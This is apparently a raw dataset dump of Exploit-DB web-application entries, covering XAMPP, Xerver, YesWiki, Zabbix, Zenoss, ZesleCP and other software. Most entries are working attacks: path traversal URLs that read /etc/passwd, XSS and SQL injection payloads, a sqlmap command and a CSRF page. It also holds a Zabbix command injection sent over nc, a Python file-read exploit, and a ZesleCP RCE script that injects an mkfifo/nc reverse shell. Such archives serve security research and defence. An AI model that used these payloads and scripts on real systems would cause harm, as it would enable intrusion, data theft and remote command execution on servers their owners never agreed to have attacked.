deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33578
Description: XAMPP 1.6.x - 'showcode.php' Local File Inclusion
Type: webapps
Platform: multiple
Date: 2009-07-16
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/37999/info

XAMPP is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

This issue affects XAMPP 1.6.8 and prior; other versions may be vulnerable as well. 

http://www.example.com/xampp/showcode.php?showcode=1&file=../index.php
Exploit-DB #10170
Description: Xerver 4.31/4.32 - HTTP Response Splitting
Type: webapps
Platform: multiple
Date: 2009-11-18
Author: s4squatch

Exploit:
Xerver 4.31, 4.32 HTTP Response Splitting

Discovered: 04-10-08
By: SecureState R&D Team - sasquatch
Vendor Notified: 04-11-08
Vendor Response: 04-13-08
New version also vulnerable:  10-07-09 Tested (Win32 v4.32)
Vendor Notified: 10-07-09
Vendor Response: NONE
Published:  11-18-09

Proof of Concept:

/test.htm%3BHTTP%C0%AF1.0%20200%20OK%C0%8D%C0%8AContent-Length%3A%2070%C0%8D%C0%8AContent-Type%3Atext%C0%AFhtml%C0%8D%C0%8A%C0%8D%C0%8A%3Chtml%3E%3Cbody%3E%3Cimg%20src%3D%22http%3A//www.website.com/test.gif%22%3E%3C/body%3E%3C/html%3E%8D%C0%8A%C0%8D%C0%8A
Exploit-DB #34237
Description: Xplico 0.5.7 - 'add.ctp' Cross-Site Scripting (2)
Type: webapps
Platform: multiple
Date: 2010-07-02
Author: Marcos Garcia & Maximiliano Soler

Exploit:
source: https://www.securityfocus.com/bid/41322/info

Xplico is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Xplico 0.5.7 is vulnerable; other versions may also be affected. 

opt/xplico/xi/app/views/pols/add.ctp:13
echo $form->input(&#039;Pol.name&#039;,  array(&#039;maxlength&#039;=> 50, &#039;size&#039; =>
&#039;50&#039;,&#039;label&#039; => &#039;Case
name&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&#039;));

Attack: Case name=[XSS] (POST)
Exploit-DB #49073
Description: xuucms 3 - 'keywords' SQL Injection
Type: webapps
Platform: multiple
Date: 2020-11-19
Author: icekam

Exploit:
# Exploit Title: xuucms 3 - 'keywords' SQL Injection
# Date: 2020-11-18
# Exploit Author: icekam
# Vendor Homepage: https://www.cxuu.top/
# Software Link: https://github.com/cbkhwx/cxuucmsv3
# Version: cxuucms - v3
# CVE : CVE-2020-28091

SQL injection exists in search.php. For details, please refer to:
https://github.com/cbkhwx/cxuucmsv3/issues/1

Use SQLMAP authentication:
 sqlmap -u 'http://localhost/search.php?keywords=12345678'
--dbms='MySQL' --level=3 --risk=3 --technique=T --time-sec=3 -o
--batch --user-agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121
Safari/537.36' -b  --current-db --hostname
Exploit-DB #49437
Description: Xwiki CMS 12.10.2 - Cross Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-01-18
Author: Karan Keswani

Exploit:
# Exploit Title: Xwiki CMS 12.10.2 - Cross Site Scripting (XSS)
# Date: 17-01-2021
# Exploit Author: Karan Keswani
# Vendor Homepage: https://www.xwiki.org/xwiki/bin/view/Main/WebHome
# Software Link: https://www.xwiki.org/xwiki/bin/view/Download/
# Version: Xwiki CMS- 12.10.2
# Tested on: Windows 10

# Description: XWiki 12.10.2 allows XSS via an SVG document to the upload feature of the comment section.

# Additional Information:
Well I found this vulnerability in Xwiki project based websites but they did not respond so i installed a latest version of Xwiki CMS and hosted on localhost with help of Wamp and then i exploited that vulnerability.

# Attack Vector:
1) Create 2 accounts:- 1)Victim & 2)Attacker
2) Login with victim account, there is a option to create new dashboard and there is page says give title and type.( Type of Dashboard:-I created simple page)
3) Now save view the page,
4) Now login with attacker account and search and open the dashboard which has been created by victim,
5) When you open the dashboard there is a comment section option, Go to that comment section & add a comment,there is a upload functionality,
6) So i tried to upload a sample svg file to check that it will allow to upload .svg format
7) Now i created a text file with XSS payload and then saved it as a .svg format
8) Upload your .svg file and click on send it to the server and click ok (your comment will be add)
9) Now open that comment with the victim account and click on that view image you'll see the xss pop-up.

Xss Payload:-
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg

onload="alert('xss')"
 xmlns="http://www.w3.org/2000/svg">
</svg>
Exploit-DB #17111
Description: Yaws-Wiki 1.88-1 (Erlang) - Persistent / Reflective Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2011-04-04
Author: Michael Brooks

Exploit:
Application: yaws-wiki
version affected: 1.88-1
platform:  Erlang
homepage:http://yaws.hyber.org/
Researcher: Michael Brooks
Orignal Advisory:https://sitewat.ch/en/Advisory/4

Install instructions for Ubuntu:
sudo apt-get install yaws-wiki

Edit:/etc/yaws/conf.d/yaws-wiki.conf
#add this:
<server wiki>
 port = 8181
 listen = 0.0.0.0
 docroot = /var/lib/yaws-wiki
</server>

Then restart yaws:
sudo /etc/init.d/yaws restart


Reflective XSS:
http://localhost:8181/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://localhost:8181/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://localhost:8181/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E

Stored XSS:
http://localhost:8181/editPage.yaws?node=home

The large textbox on the editPage.yaws page is vulnerable to xss.  This is
the"text" post variable:
<script>alert(1)</script>
Exploit-DB #52135
Description: YesWiki 4.5.1 - Unauthenticated Path Traversal
Type: webapps
Platform: multiple
Date: 2025-04-07
Author: Al Baradi Joy

Exploit:
# Exploit Title: YesWiki < 4.5.2 - Unauthenticated Path Traversal
# Exploit Author: Al Baradi Joy
# Exploit Date: April 6, 2025
# CVE ID: CVE-2025-31131
# Vendor Homepage: https://yeswiki.net/
# Software Link: https://github.com/YesWiki/yeswiki
# Affected Version: < 4.5.2
# Tested On: YesWiki 4.5.1 on Ubuntu 22.04
# Vulnerability Type: Unauthenticated Path Traversal (LFI)
# CVSS Score: 8.6 (High)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
# Description:
#   YesWiki before version 4.5.2 is vulnerable to unauthenticated path
traversal via the 'squelette' parameter.
#   A remote attacker can exploit this issue to read arbitrary files on the
server, such as /etc/passwd.

import requests
import sys

def banner():
    print("=" * 80)
    print(" YesWiki < 4.5.2 - Unauthenticated Path Traversal
(CVE-2025-31131)")
    print(" Exploit Author: Al Baradi Joy")
    print("=" * 80)

def exploit(target, filename="/etc/passwd"):
    if not target.startswith("http"):
        target = "http://" + target

    traversal = "../" * 8
    encoded_file = filename.replace("/", "%2f")
    payload =
f"/?UrkCEO/edit&theme=margot&squelette={traversal}{encoded_file}&style=margot.css"
    url = target.rstrip("/") + payload

    try:
        print(f"[+] Target: {target}")
        print(f"[+] Attempting to read: {filename}")
        response = requests.get(url, timeout=10)

        if response.status_code == 200 and "root:" in response.text:
            print("[+] Exploit successful. File contents:\n")
            print(response.text)
        else:
            print("[!] Exploit failed or file not readable.")
            print(f"Status Code: {response.status_code}")
            if len(response.text) < 200:
                print(f"Response:\n{response.text}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {e}")

if __name__ == "__main__":
    banner()
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} <target_url> [file_to_read]")
        print(f"Example: python3 {sys.argv[0]} http://victim.com
/etc/passwd")
        sys.exit(1)

    target_url = sys.argv[1]
    file_to_read = sys.argv[2] if len(sys.argv) > 2 else "/etc/passwd"
    exploit(target_url, file_to_read)
Exploit-DB #10752
Description: Yonja - Arbitrary File Upload
Type: webapps
Platform: multiple
Date: 2009-12-28
Author: indoushka

Exploit:
                       ..:::::::::..

                    ..:::aad8888888baa:::..

                 .::::d:?[PII_REDACTED]8?::8b::::.

               .:::d8888:?88888888??a888888b:::.

             .:::d8888888a8888888aa[PII_REDACTED]b:::.

            ::::dP::::::::Dz-GhostTeam:::::::Yb::::

           ::::dP:::::::::Y888888888P:::::::::Yb::::

          ::::d8:::::::::::indoushka:::::::::::8b::::

         .::::88::::::::::::Y88888P::::::::::::88::::.

         :::::Y8baaaaaaaaaa88P:T:Y88aaaaaaaaaad8P:::::

         :::::::Y[PII_REDACTED]8P::|::Y[PII_REDACTED]8P:::::::

         ::::::::::::::::888:::|:::888::::::::::::::::

         `:::::::::::::::[PII_REDACTED]888b::::::::::::::'

          :::::::::::::::[PII_REDACTED]8888::::::::::::::

           :::::::::::::d[PII_REDACTED]8888:::::::::::::

            ::::::::::::88::88::88:::88::::::::::::

             `::::::::::88::88::88:::88::::::::::'

               `::::::::88::88::P::::88::::::::'

                 `::::::88::88:::::::88::::::'

                    ``:::::::::::::::::::''

                         ``:::::::::''

                         

            this file brought to you by Dz-Ghost Team





       |Redda | Saousha | indoushka | Mr.Sql | XxProratxX |



                      
  --                    [ Dz-Ghost Team ]                           ---

-------------------------------------------------------------------------

# Author  : indoushka

# email   : indoushka@hotmail.com

# Home    : www.iq-ty.com

# Script  : Copyright © 2003-2005 Yonja, LLC. Her hakk? sakl?d?r

# Bug     : Shell Upload

======================         Dz-Ghost Team           ===================

# Exploit  : 



1- http://127.0.0.1/Yonja/Login.php

2- http://127.0.0.1/Yonja/UploadPicture.php



=========================Dz-Ghost Team===================

Greetz : all my friend and F7k-B0y * Dos-Dz * Snakespc * His0k4 * Hussin-X
Exploit-DB #52446
Description: YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: multiple
Date: 2025-12-02
Author: CodeSecLab

Exploit:
# Exploit Title: YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/yourls/yourls/
# Software Link: https://github.com/yourls/yourls/
# Version: 1.8.2 
# Tested on: Windows
# CVE : CVE-2022-0088


Proof Of Concept
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF PoC</title>
</head>
<body>
    <h1>CSRF Proof of Concept</h1>
    <form action="http://yourls/admin/index.php" method="GET">
        <input type="hidden" name="action" value="logout">
        <input type="submit" value="Submit CSRF Request">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>

This HTML page, when visited by an authenticated user of the vulnerable application, will automatically submit a request to log the user out without their consent, demonstrating the CSRF vulnerability.


Steps to Reproduce
Save the following code as poc.html.
Log in yourls, and open the file in the same browser.
Observe the result.
Exploit-DB #10431
Description: Zabbix Agent < 1.6.7 - Remote Bypass
Type: webapps
Platform: multiple
Date: 2009-12-14
Author: Nicob

Exploit:
Zabbix Agent : Bypass of EnableRemoteCommands=0 From: Nicob <nicob () nicob net>
Date: Sun, 13 Dec 2009 16:28:30 +0100

From Wikipedia : "Zabbix is a network management system application

[...] designed to monitor and track the status of various network
services, servers, and other network hardware."

[Zabbix Agent : Bypass of EnableRemoteCommands=0]

Impacted software : Zabbix Agent (FreeBSD and Solaris only)
Zabbix reference : https://support.zabbix.com/browse/ZBX-1032
Patched version : 1.6.7

Faulty source code : function NET_TCP_LISTEN() in
libs/zbxsysinfo/(freebsd|solaris)/net.c

Exploit : $> echo "net.tcp.listen[80';id;echo ']"|nc -vn xxxxx 10050
Limitation : attacker must come from (or spoof) a trusted IP address

Changelog entry : fixed security vulnerability in processing of
net.tcp.listen under FreeBSD and Solaris agents
Exploit-DB #10432
Description: Zabbix Server - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2009-12-14
Author: Nicob

Exploit:
Zabbix Server : Multiple remote vulnerabilities From: Nicob <nicob () nicob net>
Date: Sun, 13 Dec 2009 16:28:35 +0100

From Wikipedia : "Zabbix is a network management system application

[...] designed to monitor and track the status of various network
services, servers, and other network hardware."

[Zabbix Server : Remote command execution]

Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-1030
Patched version : 1.8

Faulty source code : function node_process_command() in
zabbix_server/trapper/nodecommand.c

Changelog entry : fixed security vulnerability in server allowing remote
unauthenticated users to execute scripts

[Zabbix Server : Remote SQL execution]

Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-1031
Patched version : 1.6.8 (patch for 1.6.7 was insufficient)

Faulty source code : function send_history_last_id() in
zabbix_server/trapper/nodehistory.c

Changelog entry (1.6.7) : fixed security vulnerability in server,
allowing remote unauthenticated users to execute arbitrary SQL queries
Changelog entry (1.6.8) : added more security checks for communication
between nodes

[Zabbix Server : Remote DoS (NULL deref)]

Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-993
Patched version : 1.6.6

Faulty source code : function process_trap() in
zabbix_server/trapper/trapper.c

Changelog entry : fixed possible vulnerability of trapper

[Zabbix Server : Remote DoS (NULL deref)]

Impacted software : Zabbix Server
Zabbix reference : https://support.zabbix.com/browse/ZBX-1355
Patched version : 1.6.8

Faulty source code : function zbx_get_next_field() in
libs/zbxcommon/str.c

Changelog entry : fixed possible server crash when receiving invalid
data
Exploit-DB #9715
Description: Zainu 1.0 - SQL Injection
Type: webapps
Platform: multiple
Date: 2009-09-18
Author: snakespc

Exploit:
#--------------------------------------------------------
#Zainu - Version 1.0 Remote SQL Injection Vulnerability
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com       
#-------------------------------------------------------
#Script:Zainu - Version 1.0
#--------------------------------------------------------
#Exploit:
#--------
#Demo:
#http://www.localhost.com/(script)/index.php?view=AlbumSongs&album_id=-2+UNION all SELECT 1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11--
----------------------------------------------------------

# milw0rm.com [2009-09-18]
Exploit-DB #33511
Description: Zenoss 2.3.3 - Multiple SQL Injections
Type: webapps
Platform: multiple
Date: 2010-01-14
Author: nGenuity Information Services

Exploit:
source: https://www.securityfocus.com/bid/37802/info

Zenoss is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Zenoss 2.3.3 is affected; other versions may be vulnerable as well. 

http://www.example.com/zport/dmd/Events/getJSONEventsInfo?severity=1&state=1&filter=& offset=0&count=60 into outfile "/tmp/z"
Exploit-DB #37571
Description: Zenoss 3.2.1 - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2012-07-30
Author: Brendan Coles

Exploit:
source: https://www.securityfocus.com/bid/54793/info
 
Zenoss is prone to the following security vulnerabilities:
 
1. Multiple arbitrary command-execution vulnerabilities
2. Multiple HTML-injection vulnerabilities
3. An open-redirection vulnerability
4. Multiple directory-traversal vulnerabilities
5. Multiple information-disclosure vulnerabilities
6. A code-execution vulnerability
 
An attacker can exploit these issues to retrieve arbitrary files, redirect a user to a potentially malicious site, execute arbitrary commands, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials to perform unauthorized actions in the context of a user's session, or disclose sensitive-information.
 
Zenoss 3.2.1 and prior are vulnerable.

http://www.example.com/zport/About/showDaemonXMLConfig?daemon=uname%20-a%26
http://www.example.com/zport/dmd/Events/Users/@@eventClassStatus?tableName=eventinstances&sortedHeader=primarySortKey&sortedSence=&sortRule=cmp&sortedSence="><script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/Events/Users/eventClassStatus?tableName=eventinstances&sortedHeader=primarySortKey&sortedSence=&sortRule=cmp&sortedSence="><script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/Events/Status/Snmp/@@eventClassStatus?tableName=eventinstances&sortedHeader=primarySortKey&sortedSence="><script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/ZenEventManager/listEventCommands?tableName=eventCommands&sortedHeader=primarySortKey&sortRule=cmp&sortedSence="><script>alert(document.cookie)</script><"
http://www.example.com/zport/dmd/backupInfo?tableName=backupTable&sortedHeader=fileName&sortRule=cmp&sortedSence="><script>alert(document.cookie)</script>
http://www.example.com/zport/acl_users/cookieAuthHelper/login?came_from=http%3a//example%2ecom/%3f
http://www.example.com/zport/About/viewDaemonLog?daemon=../../../var/log/mysqld
http://www.example.com/zport/About/viewDaemonConfig?daemon=../../../../etc/syslog
http://www.example.com/zport/About/editDaemonConfig?daemon=../../../../etc/syslog
http://www.example.com/zport/RenderServer/plugin?name=../../../../../../tmp/arbitrary-python-file
http://www.example.com/zport/dmd/ZenEventManager
http://www.example.com/manage
Exploit-DB #34165
Description: Zenoss Monitoring System 4.2.5-2108 (x64) - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2014-07-25
Author: Dolev Farhi

Exploit:
# Exploit Title: Stored XSS vulnerability in Zenoss core open source monitoring system
# Date: 12/05/2014
# Exploit author: Dolev Farhi dolev(at)openflare.org
# Vendor homepage: http://zenoss.com
# Software Link: http://www.zenoss.com
# Version: Core 4.2.5-2108 64bit
# Tested on: Kali Linux
# Vendor alerted: 12/05/2014
# CVE-2014-3738

Software details:

==================

Zenoss (Zenoss Core) is a free and open-source application, server, and 
network management platform based on the Zope application server.

Released under the GNU General Public License (GPL) version 2, Zenoss 
Core provides a web interface that

allows system administrators to monitor availability, 
inventory/configuration, performance, and events.



Vulnerability details:   Stored XSS Vulnerability

========================

A persistent XSS vulnerability was found in Zenoss core, by creating a 
malicious host with the Title <script>alert("Xss")</script> any user 
browsing

to the relevant manufacturers page will get a client-side script 
executed immediately.





Proof of Concept:
1. Create a device with with the Title <script>alert("XSS")</script>
2. Navigate to the  Infrastructure -> Manufacturers page.
3. pick the name of the manufacturer of the device, e.g. Intel
4. select the type of the hardware the device is assigned to, e.g. GenuineIntel_ Intel(R) Core(TM) i7-2640M CPU _ 2.80GHz
5. the XSS Executes.

<tr class="even">

       <td class="tablevalues"><a href='/zport/dmd/Devices/Server/Linux/devices/localhost/devicedetail'><script>alert("Dolev")</script></a></td>

       <td class="tablevalues">GenuineIntel_ Intel(R) Core(TM) i7-2640M CPU _ 2.80GHz</td>

</tr>
Exploit-DB #50233
Description: ZesleCP 3.1.9 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: multiple
Date: 2021-08-30
Author: numan türle

Exploit:
# Title: ZesleCP 3.1.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://zeslecp.com/
# Software Link: https://zeslecp.com/
# Version: <=3.1.9
# https://www.youtube.com/watch?v=5lTDTEBVq-0

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# ZesleCP - Remote Code Execution (Authenticated) ( Version 3.1.9 )
# author: twitter.com/numanturle
# usage: zeslecp.py [-h] -u HOST -l LOGIN -p PASSWORD
# https://www.youtube.com/watch?v=5lTDTEBVq-0


import argparse,requests,warnings,json,random,string
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
    parser = argparse.ArgumentParser(description='ZesleCP - Remote Code Execution (Authenticated) ( Version 3.1.9 )')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    parser.add_argument('-l', '--login',help='Username', type=str, required=True)
    parser.add_argument('-p', '--password',help='Password', type=str, required=True)
    args = parser.parse_args()
    exploit(args)

def exploit(args):

    listen_ip = "0.0.0.0"
    listen_port = 1337

    session = requests.Session()
    target = "https://{}:2087".format(args.host)
    username = args.login
    password = args.password

    print("[+] Target {}".format(target))

    login = session.post(target+"/login", verify=False, json={"username":username,"password":password})
    login_json = json.loads(login.content)

    if login_json["success"]:
        session_hand_login = session.cookies.get_dict()

        print("[+] Login successfully")
        print("[+] Creating ftp account")

        ftp_username = "".join(random.choices(string.ascii_lowercase + string.digits, k=10))

        print("[+] Username : {}".format(ftp_username))
        
        print("[+] Send payload....")

        payload = {
            "ftp_user": ftp_username,
            "ftp_password":"1337';rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f;echo '".format(listen_ip,listen_port)
        }

        try:
            feth_weblist = session.post(target+"/core/ftp", verify=False, json=payload, timeout=3)
        except requests.exceptions.ReadTimeout: 
            pass

            print("[+] Successful")
    else:
        print("[-] AUTH : Login failed msg: {}".format(login_json["message"]))

if __name__ == "__main__":
    init()